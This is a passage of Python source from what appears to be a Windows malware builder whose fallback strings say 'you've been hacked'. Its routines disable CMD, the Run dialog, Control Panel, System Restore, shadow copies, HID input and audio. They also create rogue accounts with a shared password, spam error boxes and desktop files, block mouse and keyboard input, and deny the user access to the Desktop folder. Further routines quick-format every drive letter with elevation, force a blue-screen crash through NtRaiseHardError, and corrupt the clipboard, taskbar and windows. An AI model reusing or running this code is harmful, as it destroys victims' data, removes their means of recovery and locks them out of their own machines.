                reg.SetValueEx(key, "DisableCMD", 0, reg.REG_DWORD, 0)
                log.info("CMD restrictions restored successfully.")

                # Restore Registry settings for PowerShell
                ps_registry_key = reg.HKEY_LOCAL_MACHINE
                ps_registry_path = r"Software\Policies\Microsoft\Windows\PowerShell"
                ps_key = reg.OpenKey(ps_registry_key, ps_registry_path, 0, reg.KEY_SET_VALUE)
                reg.SetValueEx(ps_key, "DisablePSHost", 0, reg.REG_DWORD, 0)

                log.info("All settings restored successfully.")
            except Exception as e:
                log.error(f"Error occurred: {e}")

    class Run:
        @staticmethod
        def disable():
            """
            Disables the Run dialog on Windows by setting the "NoRun" policy in the registry.
            """
            try:
                key_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
                with reg.CreateKeyEx(reg.HKEY_CURRENT_USER, key_path, 0, reg.KEY_SET_VALUE) as key:
                    reg.SetValueEx(key, "NoRun", 0, reg.REG_DWORD, 1)
                # Notify the user to restart Explorer for changes to take effect
                os.system("taskkill /f /im explorer.exe && start explorer.exe")
                log.info("Run dialog disabled. Restart your system for full effect.")
            except Exception as e:
                log.error(f"Error disabling Run dialog: {e}")

        @staticmethod
        def enable():
            """
            Enables the Run dialog on Windows by removing the "NoRun" policy from the registry.
            """
            try:
                key_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
                with reg.OpenKeyEx(reg.HKEY_CURRENT_USER, key_path, 0, reg.KEY_SET_VALUE) as key:
                    reg.DeleteValue(key, "NoRun")
                # Notify the user to restart Explorer for changes to take effect
                os.system("taskkill /f /im explorer.exe && start explorer.exe")
                log.info("Run dialog enabled. Restart your system for full effect.")
            except FileNotFoundError:
                log.warning("Run dialog seems to be already enabled.")
            except Exception as e:
                log.error(f"Error enabling Run dialog: {e}")

    class ControlPanel:
        # Registry key and value details
        def __init__(self):
            self.POLICIES_KEY = r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
            self.VALUE_NAME = "NoControlPanel"

        def disable(self):
            """
            Disables the Control Panel by modifying the registry.
            Persists through reboots.
            """
            try:
                with reg.OpenKey(reg.HKEY_CURRENT_USER, self.POLICIES_KEY, 0, reg.KEY_SET_VALUE) as key:
                    reg.SetValueEx(key, self.VALUE_NAME, 0, reg.REG_DWORD, 1)
                    # Refresh device by restarting explorer.exe
                os.system("taskkill /f /im explorer.exe")
                os.system("start explorer.exe")
                log.info("Control Panel disabled successfully.")
            except FileNotFoundError:
                # Create the key if it doesn't exist
                with reg.CreateKey(reg.HKEY_CURRENT_USER, self.POLICIES_KEY) as key:
                    reg.SetValueEx(key, self.VALUE_NAME, 0, reg.REG_DWORD, 1)
                log.info("Control Panel disabled successfully (new key created).")
            except Exception as e:
                log.error(f"Failed to disable Control Panel: {e}")

        def enable(self):
            """
            Enables the Control Panel by modifying the registry.
            Persists through reboots.
            """
            try:
                with reg.OpenKey(reg.HKEY_CURRENT_USER, self.POLICIES_KEY, 0, reg.KEY_SET_VALUE) as key:
                    reg.DeleteValue(key, self.VALUE_NAME)
                # Refresh device by restarting explorer.exe
                os.system("taskkill /f /im explorer.exe")
                os.system("start explorer.exe")
                log.info("Control Panel enabled successfully.")
            except FileNotFoundError:
                log.warning("Control Panel is already enabled.")
            except Exception as e:
                log.error(f"Failed to enable Control Panel: {e}")

    class SystemRestore:
        @staticmethod
        def disable():
            """
            Disables System Restore by modifying the registry and ensures persistence through reboots.
            Requires Administrator privileges.
            """
            try:
                # Access the registry key for System Restore
                key_path = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore"
                with reg.OpenKey(reg.HKEY_LOCAL_MACHINE, key_path, 0, reg.KEY_SET_VALUE) as key:
                    reg.SetValueEx(key, "DisableSR", 0, reg.REG_DWORD, 1)  # Disable System Restore

                # Disable Volume Shadow Copy Service
                os.system("sc config vss start= disabled")
                os.system("net stop vss")

                log.info("System Restore has been disabled and will persist through reboots.")
            except Exception as e:
                log.error(f"Failed to disable System Restore: {e}")

        @staticmethod
        def enable():
            """
            Enables System Restore, undoing the disable function's effects.
            Requires Administrator privileges.
            """
            try:
                # Access the registry key for System Restore
                key_path = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore"
                with reg.OpenKey(reg.HKEY_LOCAL_MACHINE, key_path, 0, reg.KEY_SET_VALUE) as key:
                    reg.SetValueEx(key, "DisableSR", 0, reg.REG_DWORD, 0)  # Enable System Restore

                # Enable and start Volume Shadow Copy Service
                os.system("sc config vss start= demand")
                os.system("net start vss")

                log.info("System Restore has been enabled and restored to its original state.")
            except Exception as e:
                log.error(f"Failed to enable System Restore: {e}")

    class Clock:
        def __init__(self):
            self.REGISTRY_PATH = r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
            self.CLOCK_REG_KEY = "HideClock"

        @not_tested
        def disable(self):
            try:
                # Open the registry key with write access
                reg_key = reg.OpenKey(reg.HKEY_CURRENT_USER, self.REGISTRY_PATH, 0, reg.KEY_WRITE)
                # Set the HideClock value to 1 (hide the clock)
                reg.SetValueEx(reg_key, self.CLOCK_REG_KEY, 0, reg.REG_DWORD, 1)
                reg.CloseKey(reg_key)
                # Refresh the system settings
                ctypes.windll.user32.SystemParametersInfoW(20, 0, 0, 0)
                log.info("Clock hidden successfully.")
            except Exception as e:
                log.error(f"Error hiding clock: {e}")

        # Function to enable the Windows clock
        def enable(self):
            try:
                # Open the registry key with write access
                reg_key = reg.OpenKey(reg.HKEY_CURRENT_USER, self.REGISTRY_PATH, 0, reg.KEY_WRITE)
                # Remove the HideClock value (this enables the clock)
                reg.DeleteValue(reg_key, self.CLOCK_REG_KEY)
                reg.CloseKey(reg_key)
                # Refresh the system settings
                ctypes.windll.user32.SystemParametersInfoW(20, 0, 0, 0)
                log.info("Clock enabled successfully.")
            except Exception as e:
                log.error(f"Error enabling clock: {e}")

    class FileContextMenu:
        def __init__(self):
            self.HWND_BROADCAST = 0xFFFF
            self.WM_SETTINGCHANGE = 0x1A

        def __broadcast_settings_change(self):
            # Notify Windows about changes in settings
            ctypes.windll.user32.SendMessageTimeoutW(
                self.HWND_BROADCAST, self.WM_SETTINGCHANGE, 0, "Environment", 0, 5000, None
            )

        @staticmethod
        def __restart_explorer():
            # Remove and restart Windows Explorer to apply changes
            try:
                os.system("taskkill /f /im explorer.exe")
                os.system("start explorer.exe")
                log.info("Windows Explorer restarted.")
            except Exception as e:
                log.error(f"Error restarting Explorer: {e}")

        def disable(self):
            try:
                # Path to the registry key
                user_reg_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
                machine_reg_path = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"

                # Disable context menu for the current user
                key_user = reg.CreateKey(reg.HKEY_CURRENT_USER, user_reg_path)
                reg.SetValueEx(key_user, "NoViewContextMenu", 0, reg.REG_DWORD, 1)
                reg.CloseKey(key_user)

                # Disable context menu for all users (requires admin)
                key_machine = reg.CreateKey(reg.HKEY_LOCAL_MACHINE, machine_reg_path)
                reg.SetValueEx(key_machine, "NoViewContextMenu", 0, reg.REG_DWORD, 1)
                reg.CloseKey(key_machine)

                # Notify Windows and restart Explorer
                self.__broadcast_settings_change()
                self.__restart_explorer()
                log.info("Context menu disabled successfully.")
            except Exception as e:
                log.error(f"Error disabling context menu: {e}")

        def enable(self):
            try:
                # Path to the registry key
                user_reg_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
                machine_reg_path = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"

                # Enable context menu for the current user
                key_user = reg.OpenKey(reg.HKEY_CURRENT_USER, user_reg_path, 0, reg.KEY_SET_VALUE)
                reg.DeleteValue(key_user, "NoViewContextMenu")
                reg.CloseKey(key_user)

                # Enable context menu for all users (requires admin)
                key_machine = reg.OpenKey(reg.HKEY_LOCAL_MACHINE, machine_reg_path, 0, reg.KEY_SET_VALUE)
                reg.DeleteValue(key_machine, "NoViewContextMenu")
                reg.CloseKey(key_machine)

                # Notify Windows and restart Explorer
                self.__broadcast_settings_change()
                self.__restart_explorer()
                log.info("Context menu enabled successfully.")
            except FileNotFoundError:
                log.warning("Context menu already enabled.")
            except Exception as e:
                log.error(f"Error enabling context menu: {e}")

    class HID:
        @staticmethod
        def disable():
            # Initialize WMI client
            c = wmi.WMI()

            # Query all HID devices
            for instance in c.query("SELECT * FROM Win32_PnPEntity WHERE DeviceID LIKE '%HID%'"):
                # Disable the HID device by setting the "ConfigManagerErrorCode" to 45 (device disabled)
                os.system(
                    f"reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\HidUsb\" /v Start /t REG_DWORD /d 4 /f")
                log.debug(f"HID Device {instance.Caption} Disabled.")
            log.info("All HID Devices Disabled.")

        @staticmethod
        def enable():
            # Revert registry change to enable HID devices
            os.system(f"reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\HidUsb\" /v Start /t REG_DWORD /d 1 /f")

            # Wait for the changes to take effect
            time.sleep(1)

            log.info("HID Devices Enabled.")

    class Monitor:
        @staticmethod
        @experimental
        def off():
            # Turn off the monitor
            ctypes.windll.user32.SendMessageW(0xFFFF, 0x112, 0xF170, 2)  # Monitor Off
            time.sleep(1)  # Sleep for a moment to ensure the command is processed

            # Store the setting in the registry
            try:
                key = reg.OpenKey(reg.HKEY_CURRENT_USER, r"Control Panel\Desktop", 0, reg.KEY_SET_VALUE)
                reg.SetValueEx(key, "ScreenSaveActive", 0, reg.REG_SZ, "0")
                reg.CloseKey(key)
                log.info("Monitor turned off setting has been stored in the registry.")
            except Exception as e:
                log.error(f"Failed to store monitor off setting in the registry: {e}")

    class Audio:
        @staticmethod
        def __run(command):
            """Run a command with administrative privileges."""
            try:
                subprocess.run(command, shell=True, check=True)
            except subprocess.CalledProcessError as e:
                log.error(f"Process Error: {e}")
            except Exception as e:
                log.error(f"Error: {e}")

        @staticmethod
        def __get_dependencies(service_name) -> list[str] | list[None]:
            """Get the list of dependent services."""
            try:
                result = subprocess.run(f"sc qc {service_name}", shell=True, capture_output=True, text=True)
                if result.returncode == 0:
                    dependencies = []
                    for line in result.stdout.splitlines():
                        if "DEPENDENCIES" in line:
                            dependencies = line.split(":")[1].strip().split()
                    return dependencies
                else:
                    log.error(f"Failed to get dependencies for {service_name}")
                    return []
            except Exception as e:
                log.error(f"Error retrieving dependencies: {e}")
                return []

        def disable(self):
            """Disables the Windows Audio service and ensures persistence through reboots."""
            try:
                log.info("Disabling Windows Audio service...")

                # Get dependent services
                dependencies = self.__get_dependencies("AudioSrv")
                for dep in dependencies:
                    log.debug(f"Disabling dependent service: {dep}")
                    self.__run(f"sc config {dep} start= disabled")
                    try:
                        self.__run(f"sc stop {dep}")
                        log.debug(f"Service {dep} stopped successfully.")
                    except subprocess.CalledProcessError:
                        log.error(f"Service {dep} is not running or could not be stopped.")
                log.info("Dependent services disabled successfully.")

                # Disable the Audio Service
                self.__run("sc config AudioSrv start= disabled")
                try:
                    self.__run("sc stop AudioSrv")
                    log.info("Audio service stopped successfully.")
                except subprocess.CalledProcessError:
                    log.error("Audio service is already stopped or could not be stopped.")

                log.info("Audio service disabled and stopped.")
            except Exception as e:
                log.error(f"Failed to destroy audio service: {e}")

        def enable(self):
            """Restores and starts the Windows Audio service and its dependencies."""
            try:
                log.info("Restoring Windows Audio service...")

                # Restore dependent services first
                dependencies = self.__get_dependencies("AudioSrv")
                for dep in dependencies:
                    log.debug(f"Restoring dependent service: {dep}")
                    self.__run(f"sc config {dep} start= auto")
                    self.__run(f"sc start {dep}")

                # Enable and start the Audio Service
                self.__run("sc config AudioSrv start= auto")
                self.__run("sc start AudioSrv")
                log.info("Audio service restored and started.")
            except Exception as e:
                log.error(f"Failed to enable audio service: {e}")


# ------------------------ Spamming Code DB ------------------------ #

class Spam:
    class Accounts:
        def __init__(self):
            list_of_accounts = config.get("Spam.Accounts", "ACCOUNTS", fallback="you've, been, hacked, by, the, best")
            self.ACCOUNT_NAMES = list_of_accounts.replace(" ", "").split(",")
            self.PASSWORD_FOR_ALL_ACCOUNTS = config.get("Spam.Accounts", "PASSWORD", fallback="MalwareBuilder2025")

        def create(self):
            for account_name in self.ACCOUNT_NAMES:
                try:
                    # Command to create the user with a temporary password (you can adjust as needed)
                    subprocess.run(f"net user {account_name} {self.PASSWORD_FOR_ALL_ACCOUNTS} /add", shell=True,
                                   check=True)
                    log.info(f"Account {account_name} created successfully.")
                except subprocess.CalledProcessError as e:
                    log.error(f"Failed to create account {account_name}: {e}")

        def remove(self):
            for account_name in self.ACCOUNT_NAMES:
                try:
                    # Command to remove the user
                    subprocess.run(f"net user {account_name} /delete", shell=True, check=True)
                    log.info(f"Account {account_name} deleted successfully.")
                except subprocess.CalledProcessError as e:
                    log.error(f"Failed to delete account {account_name}: {e}")

    class ErrorMessages:
        def __init__(self):
            self.message_text = config.get("Spam.Errors", "ERROR_MESSAGE", fallback="This is a spam error message!")
            self.message_title = config.get("Spam.Errors", "ERROR_TITLE", fallback="Error!")
            self.spam_count = config.getint("Spam.Errors", "ERROR_COUNT", fallback=10)
            self.type = config.getint("Spam.Errors", "ERROR_TYPE", fallback=16)

        def _spam_error_messages(self):
            """Spams error windows when enabled."""
            while True:
                ctypes.windll.user32.MessageBoxW(
                    self.type, self.message_text, self.message_title, 0x10
                )
                time.sleep(0.1)  # Add a delay to prevent excessive CPU usage

        def create(self):
            """Enable spam and start a thread to spam messages."""
            for _ in range(self.spam_count):
                threading.Thread(target=self._spam_error_messages, daemon=USE_DAEMON).start()
                log.debug(f"Error message spam started: Index={_}, daemon={USE_DAEMON}.")

    class Desktop:
        def __init__(self):
            default = config.get("Spam.Desktop", "ERROR_TYPE", fallback="You've been hacked")
            repeat_default = config.getint("Spam.Desktop", "COUNT", fallback=500)

            folders = config.get("Spam.Desktop", "EXTRA_FOLDERS",
                                 fallback="Hackers, Anonymous, YourPCIsMine, Hacked, Lol")
            folders = folders.replace(" ", "").split(",")
            files = config.get("Spam.Desktop", "EXTRA_FILES", fallback="You, have, been, hacked, lol")
            files = files.replace(" ", "").split(",")

            for i in range(repeat_default):
                folders.append(f"{default} {i}")
                files.append(f"{default} {i}")
            self.files = list(set(files))  # Remove duplicates
            self.folders = list(set(folders))  # Remove duplicates

        def create(self):
            # Get the path to the desktop
            desktop_path = os.path.join(os.path.expanduser("~"), "Desktop")
            files = list(set(self.files))  # Remove duplicates
            folders = list(set(self.folders))  # Remove duplicates

            # Create folders
            for folder in folders:
                folder_path = os.path.join(desktop_path, folder)
                if not os.path.exists(folder_path):
                    os.makedirs(folder_path)
                    log.info(f"Folder created: {folder_path}")
                else:
                    log.warning(f"Folder already exists: {folder_path}")

            # Create files
            for file in files:
                file_path = os.path.join(desktop_path, file)
                if not os.path.exists(file_path):
                    with open(file_path, "w") as f:
                        f.write("")  # Create an empty file
                    log.info(f"File created: {file_path}")
                else:
                    log.warning(f"File already exists: {file_path}")


# -------------------------- Deadly Code DB ------------------------ #

class Destroy:
    class Desktop:
        @staticmethod
        def __refresh_desktop():
            """Refreshes the desktop to apply changes."""
            ctypes.windll.user32.SystemParametersInfoW(20, 0, None, 0)
            # Restarts the Windows Explorer shell to apply changes.
            os.system("taskkill /f /im explorer.exe")
            os.system("start explorer.exe")

        def destroy(self):
            """Hides desktop icons visually and disables the Desktop folder."""
            try:
                # Step 1: Hide the desktop icons visually
                progman = ctypes.windll.user32.FindWindowW("Progman", None)
                desktop_worker = ctypes.windll.user32.FindWindowExW(progman, None, "SHELLDLL_DefView", None)
                if desktop_worker:
                    ctypes.windll.user32.ShowWindow(desktop_worker, 0)  # Hide the Desktop window
                log.info("Desktop icons visually hidden.")

                # Step 2: Disable the Desktop folder by modifying permissions
                desktop_path = os.path.join(os.environ["USERPROFILE"], "Desktop")
                subprocess.run(["icacls", desktop_path, "/deny", f"{os.getlogin()}:F"], check=True)
                self.__refresh_desktop()
                log.info("Desktop folder access disabled.")

            except Exception as e:
                log.error(f"Failed to hide desktop icons permanently: {e}")

        def restore(self):
            """Restores desktop icons by enabling the Desktop folder and showing icons."""
            try:
                # Step 1: Re-enable the Desktop folder by removing permissions
                desktop_path = os.path.join(os.environ["USERPROFILE"], "Desktop")
                subprocess.run(["icacls", desktop_path, "/remove:d", f"{os.getlogin()}"], check=True)
                log.info("Desktop folder access restored.")

                # Step 2: Show the desktop icons visually
                progman = ctypes.windll.user32.FindWindowW("Progman", None)
                desktop_worker = ctypes.windll.user32.FindWindowExW(progman, None, "SHELLDLL_DefView", None)
                if desktop_worker:
                    ctypes.windll.user32.ShowWindow(desktop_worker, 5)  # Show the Desktop window
                self.__refresh_desktop()
                log.info("Desktop icons visually restored.")

            except Exception as e:
                log.error(f"Failed to restore desktop icons: {e}")

    class _LockMouseKeyboard:
        def __init__(self):
            # Load user32.dll for locking/unlocking input
            self.user32 = ctypes.WinDLL("user32", use_last_error=True)
            self.is_active = False

        @experimental
        def disable(self):
            """
            Locks the mouse and keyboard persistently.
            """

            def lock_loop():
                while self.is_active:
                    self.user32.BlockInput(True)
                    time.sleep(0.1)  # Prevent high CPU usage

            if not self.is_active:
                self.is_active = True
                threading.Thread(target=lock_loop, daemon=USE_DAEMON).start()
                log.info("Input locked persistently.")

        def enable(self):
            """
            Unlocks the mouse and keyboard.
            """
            if self.is_active:
                self.is_active = False
                self.user32.BlockInput(False)  # Ensure input is unlocked
                log.info("Input unlocked.")

    class Windows:
        @staticmethod
        def __format(drive_letter: str):
            try:
                # Ensure the drive letter ends with a colon
                if not drive_letter.endswith(":"):
                    drive_letter += ":"

                # Command to format the drive
                command = f"format {drive_letter} /FS:NTFS /Q /Y"

                # Run the command with administrative privileges
                subprocess.run(
                    ["powershell", "Start-Process", "cmd", "-ArgumentList", f"/c {command}", "-Verb", "runAs"],
                    check=True)
                log.info(f"Drive {drive_letter} formatted successfully.")
            except subprocess.CalledProcessError as e:
                log.error(f"Failed to format drive {drive_letter}: {e}")

        # Example usage
        @not_tested
        def format(self):
            for letter in ["A", "B", "C", "D", "E", "F", "G", "H",
                           "I", "J", "K", "L", "M", "N", "O", "P",
                           "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"]:
                try:
                    self.__format(letter)
                except Exception as e:
                    log.error(f"An error occurred: {e}")

    class BSOD:
        def __init__(self):
            self.MAX_CRASHES = config.getint("Destroy.BSOD", "MAX_CRASHES", fallback=5)
            self.REGISTRY_PATH = config.get("Destroy.BSOD", "REG_PATH", fallback="SOFTWARE\\SysBSOD")
            self.VALUE_NAME = config.get("Destroy.BSOD", "REG_KEY", fallback="BCC")
            self.CRASH_ERR = config.get("Destroy.BSOD", "MESSAGE",
                                        fallback="The code monkeys at our headquarters are working very hard to fix this!")
            self.CRASH_CODE = 0xDEADDEAD

        def __check_registry_and_update(self) -> bool:
            """
            Check the registry for "CrashCount". If it exists and is greater than or equal to MAX_CRASHES, do nothing.
            Otherwise, increment and allow the script to proceed with the BSOD.
            """
            try:
                # Open or create the registry key
                key = reg.CreateKey(reg.HKEY_LOCAL_MACHINE, self.REGISTRY_PATH)

                # Try to read the CrashCount value
                try:
                    crash_count, reg_type = reg.QueryValueEx(key, self.VALUE_NAME)
                    log.debug(f"CrashCount is {crash_count}.")
                    if crash_count >= self.MAX_CRASHES:
                        log.warning("Crash has already occurred. Exiting without triggering BSOD.")
                        return False
                except FileNotFoundError:
                    # CrashCount does not exist, proceed with creating it
                    crash_count = 0

                # Increment CrashCount
                new_crash_count = crash_count + 1
                reg.SetValueEx(key, self.VALUE_NAME, 0, reg.REG_DWORD, new_crash_count)
                log.info(f"Registry updated. CrashCount is now {new_crash_count}. Proceeding to trigger BSOD.")
                time.sleep(3)  # Delay to ensure the registry is updated
                return True
            except Exception as err:
                log.error(f"Failed to check registry: {err}")
                return False
            finally:
                # Does it ever do this? We will never know...
                try:
                    reg.CloseKey(key)
                except Exception:
                    pass

        def __trigger(self):
            """
            Trigger a BSOD with a custom error message embedded in the crash parameters.
            """
            log.info(self.CRASH_ERR)
            try:
                # Convert the custom message to bytes and encode it in the crash parameters
                message_bytes = self.CRASH_ERR.encode("utf-16-le")
                length = len(message_bytes)
                # Allocate memory for the message in the process space
                ptr = ctypes.windll.kernel32.VirtualAlloc(
                    None, length, 0x3000, 0x40
                )  # MEM_COMMIT | MEM_RESERVE and PAGE_EXECUTE_READWRITE
                ctypes.memmove(ptr, message_bytes, length)

                # Trigger the BSOD with the pointer as a parameter
                ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_bool()))
                ctypes.windll.ntdll.NtRaiseHardError(
                    self.CRASH_CODE,
                    1,
                    1,
                    ctypes.byref(ctypes.c_void_p(ptr)),
                    6,
                    ctypes.byref(ctypes.c_ulong())
                )
            except Exception as err:
                log.info(f"Failed to trigger BSOD: {err}")

        def crash(self):
            try:
                if self.__check_registry_and_update():
                    self.__trigger()
            except Exception as e:
                log.error(f"Failed to execute BSOD: {e}")


# ---------------------- Lol Tomfoolery Code DB -------------------- #

class Tomfoolery:
    @staticmethod
    def flip_mouse():
        """
        Toggles the mouse button configuration.
        If the buttons are currently swapped, revert to default.
        If the buttons are not swapped, swap them.
        Changes persist through reboots and apply immediately.
        """
        try:
            # Open registry key to read current state
            key = reg.OpenKey(reg.HKEY_CURRENT_USER, r"Control Panel\Mouse", 0, reg.KEY_READ)
            current_value, _ = reg.QueryValueEx(key, "SwapMouseButtons")
            reg.CloseKey(key)

            # Determine new state
            new_value = "0" if current_value == "1" else "1"

            # Open registry key to set new value
            key = reg.OpenKey(reg.HKEY_CURRENT_USER, r"Control Panel\Mouse", 0, reg.KEY_SET_VALUE)
            reg.SetValueEx(key, "SwapMouseButtons", 0, reg.REG_SZ, new_value)
            reg.CloseKey(key)

            # Apply changes using SystemParametersInfo
            result = ctypes.windll.user32.SystemParametersInfoW(0x0021, int(new_value), None, 0x02)
            if result:
                if new_value == "1":
                    log.info("Mouse buttons swapped. Changes will persist through reboots.")
                else:
                    log.info("Mouse buttons reverted to default. Changes will persist through reboots.")
            else:
                log.warning("Failed to apply the changes immediately. Please reboot for changes to take effect.")

        except Exception as e:
            log.error(f"Failed to toggle mouse buttons: {e}")

    class CrazyMouse:
        def __init__(self):
            # Allowing mouse input to be controlled by scripts
            ctypes.windll.user32.SetSystemCursor(None, 0)  # Windows specific: Prevents default cursor

        # Function to randomly change mouse sensitivity
        @staticmethod
        def __random_sensitivity():
            while True:
                sensitivity = random.uniform(0.5, 5.0)  # Change between 0.5x and 5x sensitivity
                pyautogui.MINIMUM_DURATION = sensitivity  # Update pyautogui"s movement duration
                time.sleep(random.uniform(0.5, 2.0))  # Randomize the interval

        # Function to move the mouse randomly
        @staticmethod
        def __random_move():
            screen_width, screen_height = pyautogui.size()
            while True:
                x = random.randint(0, screen_width)
                y = random.randint(0, screen_height)
                pyautogui.moveTo(x, y, duration=random.uniform(0.2, 2.0))
                time.sleep(random.uniform(0.5, 2.0))  # Randomize the time between movements

        # Start the threads
        def start(self):
            sensitivity_thread = threading.Thread(target=self.__random_sensitivity)
            movement_thread = threading.Thread(target=self.__random_move)

            sensitivity_thread.daemon = USE_DAEMON  # Allow threads to exit when the program ends
            movement_thread.daemon = USE_DAEMON

            sensitivity_thread.start()
            movement_thread.start()

            sensitivity_thread.join()
            movement_thread.join()

    class CrazyTaskbar:
        def __init__(self):
            self.stop_glitching = threading.Event()
            self.taskbar_hwnd = ctypes.windll.user32.FindWindowW("Shell_TrayWnd", None)
            # Constants for Windows API
            self.SW_HIDE = 0
            self.SW_SHOW = 5
            self.HWND_BOTTOM = 1
            self.SWP_NOSIZE = 0x0001
            self.SWP_NOMOVE = 0x0002

        def __glitch_forever(self) -> None:
            """Continuously make the Taskbar glitch until stopped."""
            if not self.taskbar_hwnd:
                log.error("Taskbar not found.")
                return

            while not self.stop_glitching.is_set():
                action = random.choice(["hide", "show", "move"])
                if action == "hide":
                    ctypes.windll.user32.ShowWindow(self.taskbar_hwnd, self.SW_HIDE)
                elif action == "show":
                    ctypes.windll.user32.ShowWindow(self.taskbar_hwnd, self.SW_SHOW)
                elif action == "move":
                    # Randomly adjust the Taskbar position
                    x = random.randint(-50, 50)
                    y = random.randint(-50, 50)
                    ctypes.windll.user32.SetWindowPos(self.taskbar_hwnd, self.HWND_BOTTOM, x, y, 0, 0, self.SWP_NOSIZE)

                time.sleep(random.randint(5, 30) / 100)  # Pause between actions

        def start(self):
            """Start a thread to make the Taskbar glitch indefinitely."""
            try:
                self.stop_glitching.clear()
                threading.Thread(target=self.__glitch_forever, daemon=USE_DAEMON).start()
                self.__persist(enable=True)
            except KeyboardInterrupt:
                self._revert()
                exit()

        @staticmethod
        def __persist(enable: bool = True) -> None:
            """Persist Taskbar changes through reboots by modifying the Registry."""
            key_path = r"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
            try:
                with reg.OpenKey(reg.HKEY_CURRENT_USER, key_path, 0, reg.KEY_SET_VALUE) as key:
                    value_name = "TaskbarGlitch"
                    if enable:
                        reg.SetValueEx(key, value_name, 0, reg.REG_DWORD, 1)
                    else:
                        reg.DeleteValue(key, value_name)
            except FileNotFoundError:
                return
            except Exception as e:
                log.error(f"Registry operation failed: {e}")
                return

            if enable:
                log.info("Taskbar glitching started.")
            while enable:  # Keep the script running as long as glitching is enabled
                time.sleep(1)

        def _revert(self):
            """Stop glitching and restore the Taskbar to its default behavior."""
            self.stop_glitching.set()  # Stop the glitching thread
            if self.taskbar_hwnd:
                ctypes.windll.user32.ShowWindow(self.taskbar_hwnd, self.SW_SHOW)
                ctypes.windll.user32.SetWindowPos(self.taskbar_hwnd, self.HWND_BOTTOM, 0, 0, 0, 0,
                                                  self.SWP_NOMOVE | self.SWP_NOSIZE)
            self.__persist(enable=False)

    class Clipboard:
        def __init__(self):
            self.stop_glitching = threading.Event()

        def __glitch_forever(self):
            """Continuously corrupt the clipboard content until stopped."""
            while not self.stop_glitching.is_set():
                try:
                    win32clipboard.OpenClipboard()
                    if win32clipboard.IsClipboardFormatAvailable(win32clipboard.CF_TEXT):
                        data = win32clipboard.GetClipboardData()
                        corrupted_data = "".join(random.choice([char.upper(), char.lower(), ""]) for char in data)
                        win32clipboard.EmptyClipboard()
                        win32clipboard.SetClipboardText(corrupted_data)
                    win32clipboard.CloseClipboard()
                except Exception as e:
                    log.error(f"Failed to glitch clipboard: {e}")
                time.sleep(random.uniform(0.2, 1.0))  # Randomize the interval

        def _revert(self):
            """Stop glitching and restore the clipboard to its default behavior."""
            self.stop_glitching.set()
            log.info("Clipboard glitching stopped.")

        def start(self):
            try:
                self.stop_glitching.clear()
                threading.Thread(target=self.__glitch_forever, daemon=USE_DAEMON).start()
                log.info("Clipboard glitching started.")
                while True:
                    time.sleep(1)
            except KeyboardInterrupt:
                self._revert()

    class MouseFreeze:
        @staticmethod
        def __freeze():
            # Define the POINT structure
            class POINT(ctypes.Structure):
                _fields_ = [("x", ctypes.c_long), ("y", ctypes.c_long)]

            # Get the current position of the cursor
            cursor_pos = POINT()
            ctypes.windll.user32.GetCursorPos(ctypes.byref(cursor_pos))

            while True:
                # Set the cursor position to the saved position
                ctypes.windll.user32.SetCursorPos(cursor_pos.x, cursor_pos.y)

        def start(self):
            try:
                # Start the __freeze function in a background thread
                thread = threading.Thread(target=self.__freeze, daemon=USE_DAEMON)
                thread.start()
                log.info("Mouse freeze started in background thread.")

                # Keep the main thread alive
                while True:
                    time.sleep(1)
            except KeyboardInterrupt:
                log.error("Mouse freeze stopped.")

    class CrazyGUI:
        def __init__(self):
            # Global variable to store original window states
            self.original_states = {}

        @staticmethod
        def __bug_desktop():
            """Randomly manipulate the desktop and taskbar to create a "drunk" effect."""
            desktop_hwnd = ctypes.windll.user32.GetDesktopWindow()

            end_time = time.time() + 15
            while time.time() < end_time:
                # Randomly flicker desktop visibility
                ctypes.windll.user32.ShowWindow(desktop_hwnd, random.choice([5, 0, 1]))  # 5: Minimize, 0: Hide, 1: Show
                time.sleep(0.1)  # Small delay between chaotic effects

        def __bug_windows(self):
            """Randomly manipulate open windows."""
            windows = [win for win in gw.getAllWindows() if win.title.strip()]

            # Save original states
            for win in windows:
                self.original_states[win.title] = (win.left, win.top, win.width, win.height)

            end_time = time.time() + 15
            while time.time() < end_time:
                for win in windows:
                    try:
                        # Randomly move the window
                        new_left = random.randint(0, win.width)
                        new_top = random.randint(0, win.height)
                        win.moveTo(new_left, new_top)

                        # Randomly resize the window
                        new_width = random.randint(200, 800)
                        new_height = random.randint(200, 600)
                        win.resizeTo(new_width, new_height)

                        # Add some random lines or "glitches" in windows
                        win.activate()
                        pyautogui.moveTo(random.randint(0, win.width), random.randint(0, win.height))
                        pyautogui.click()

                    except Exception:
                        continue

                time.sleep(0.3)  # Small delay to maintain chaos

        def _revert_gui(self):
            """Revert GUI to its original state."""
            # Revert windows
            for win in gw.getAllWindows():
                if win.title in self.original_states:
                    left, top, width, height = self.original_states[win.title]
                    try:
                        win.moveTo(left, top)
                        win.resizeTo(width, height)
                    except Exception:
                        continue

            log.info("All changes reverted for CrazyGUI.")

        def start(self):
            try:
                # Start bugging threads for maximum chaos
                desktop_thread = threading.Thread(target=self.__bug_desktop, daemon=USE_DAEMON)
                windows_thread = threading.Thread(target=self.__bug_windows, daemon=USE_DAEMON)

                desktop_thread.start()
                windows_thread.start()

                while True:
                    time.sleep(1)
            except KeyboardInterrupt:
                self._revert_gui()

    class WindowTeleport:
        # Function to get screen dimensions
        def __init__(self):
            user32 = ctypes.windll.user32
            user32.SetProcessDPIAware()
            self.screen_width = user32.GetSystemMetrics(0)  # SM_CXSCREEN
            self.screen_height = user32.GetSystemMetrics(1)  # SM_CYSCREEN
